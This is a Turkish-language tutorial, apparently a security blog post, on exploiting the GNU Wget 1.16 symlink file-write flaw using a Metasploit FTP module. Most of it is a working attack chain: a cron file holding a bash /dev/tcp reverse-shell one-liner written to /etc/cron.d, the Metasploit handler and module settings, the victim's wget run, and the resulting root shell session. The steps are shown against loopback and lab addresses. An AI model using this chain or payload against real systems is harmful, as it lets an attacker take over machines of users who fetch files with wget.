GNU Wget 1.16 Dosya Sistemine Erişim Zafiyeti ve Exploit Edilmesi

GNU Wget 1.16 Dosya Sistemine Erişim Zafiyeti ve Exploit Edilmesi

Wget komutu, uzak sunucudan HTTP, HTTPS ve FTP protokolleri üzerinden dosya indirilmesini sağlayan bir araçtır. Geçtiğimiz hafta içerisinde wget 1.16 ve önceki versiyonlarında geçerli olan uzaktan komut çalıştırma zafiyeti tespit edilmişti.

Zafiyet, wget’in dizin listelemek istediğin sekmede, mevcut sekme ile aynı isimde bir symlink’in bulunması ile tetiklenmekte. Wget öncelikle symlink’in ait olduğu path’i kendi sisteminde oluşturacaktır. Ardından aynı isimli dosyanın içeriğini bir önceki adımda linklediği yerel dizine yazacaktır.

Saldırgan olarak wget ile FTP adresimize wget komutu çalıştıran kullanıcıların istediğimiz yerel dizinine müdahile edebilme imkanı vermekte.

Bu zafiyeti test ortamında denedik ve exploit etmeyi başarmıştık. Bugün wget zafiyeti için metasploit modülü yayınlandı.

https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/server/wget_symlink_file_write.rb

GNU Wget Zafiyetine Saldırı Düzenlemek

Yukarıda açıklandığı üzere wget komutunu çalıştıran kullanıcının yerel dosya sistemine erişim ve düzenleme imkanı bulunmakta. Saldırı vektörü olarak wget komutunu çalıştıran kullanıcının crontab dosyası yeniden düzenlenerek saldırganın belirlediği IP adresine reverse-shell bağlantısı gerçekleştirilebilir.

Wget komutunu çalıştıran clientte aşağıdaki terminal komutunun crontab ile her 1 dakikada bir çalıştırılması sağlanacaktır.

cat>cronshell <<EOD
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
* * * * * root bash -c '0<&112-;exec 112<>/dev/tcp/127.0.0.1/4444;sh <&112 >&112 2>&112'; rm -f /etc/cron.d/cronshell
EOD

Kullanıcıdan gelen reverse-shell bağlantısını karşılayacak handler aşağıdaki şekilde ayarlanır ve background process olarak çalıştırılır.

msf exploit(handler) > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD cmd/unix/reverse_bash
PAYLOAD => cmd/unix/reverse_bash
msf exploit(handler) > set LHOST 127.0.0.1
LHOST => 127.0.0.1
msf exploit(handler) > set LPORT 4444
LPORT => 4444
msf exploit(handler) > run -j
[*] Exploit running as background job.

[*] Started reverse handler on 127.0.0.1:4444 
[*] Starting the payload handler...

Şimdi ise symlink ile kullanıcının indireceği dosyayı /etc/cron.d/cronshell ‘e linkleyerek FTP servisini başlatan aux modülünü kullanalım

msf exploit(handler) > use auxiliary/server/wget_symlink_file_write
msf auxiliary(wget_symlink_file_write) > set TARGET_FILE /etc/cron.d/cronshell
TARGET_FILE => /etc/cron.d/cronshell
msf auxiliary(wget_symlink_file_write) > set TARGET_DATA file:cronshell
TARGET_DATA => file:cronshell
msf auxiliary(wget_symlink_file_write) > set SRVPORT 21
SRVPORT => 21
msf auxiliary(wget_symlink_file_write) > run
[*] Auxiliary module execution completed

[+] Targets should run: $ wget -m ftp://192.168.226.128:21/
[*] Server started.

Wget komutunu çalıştıracak masum kullanıcının komutu çalıştırması.

root@rootlab:~# wget -m ftp://127.0.0.1:21/
--2014-10-29 18:19:57--  ftp://127.0.0.1/
           => `127.0.0.1/.listing'
Connecting to 127.0.0.1:21... connected.
Logging in as anonymous ... Logged in!
==> SYST ... done.    ==> PWD ... done.
==> TYPE I ... done.  ==> CWD not needed.
==> PASV ... done.    ==> LIST ... done.

    [ <=>                                   ] 158         --.-K/s   in 0s      

2014-10-29 18:19:57 (464 KB/s) - `127.0.0.1/.listing' saved [158]

Creating symlink `127.0.0.1/xsSORThAl' -> `127.0.0.1/xsSORThAl'

Bu komutun çalışmasının hemen ardından kullanıcının crontab’ına yukarıda belirttiğimiz reverse-shell komutu yazılmış olacak ve anında çalışacaktır.

Handler ekranında ise meterpreter oturumunun açıldığını görmekteyiz.

msf auxiliary(wget_symlink_file_write) > [*] 127.0.0.1:54321 Logged in with user 'anonymous' and password 'anonymous'...
[*] 127.0.0.1:54321 -> LIST -a
[*] 127.0.0.1:54321 -> CWD /xsSORThAl
[*] 127.0.0.1:54321 -> LIST -a
[*] 127.0.0.1:54321 -> RETR cronshell
[+] 127.0.0.1:54321 Hopefully wrote 184 bytes to /etc/cron.d/cronshell
[*] Command shell session 1 opened (127.0.0.1:4444 -> 127.0.0.1:36502) at 2014-10-29 18:20:01 +0200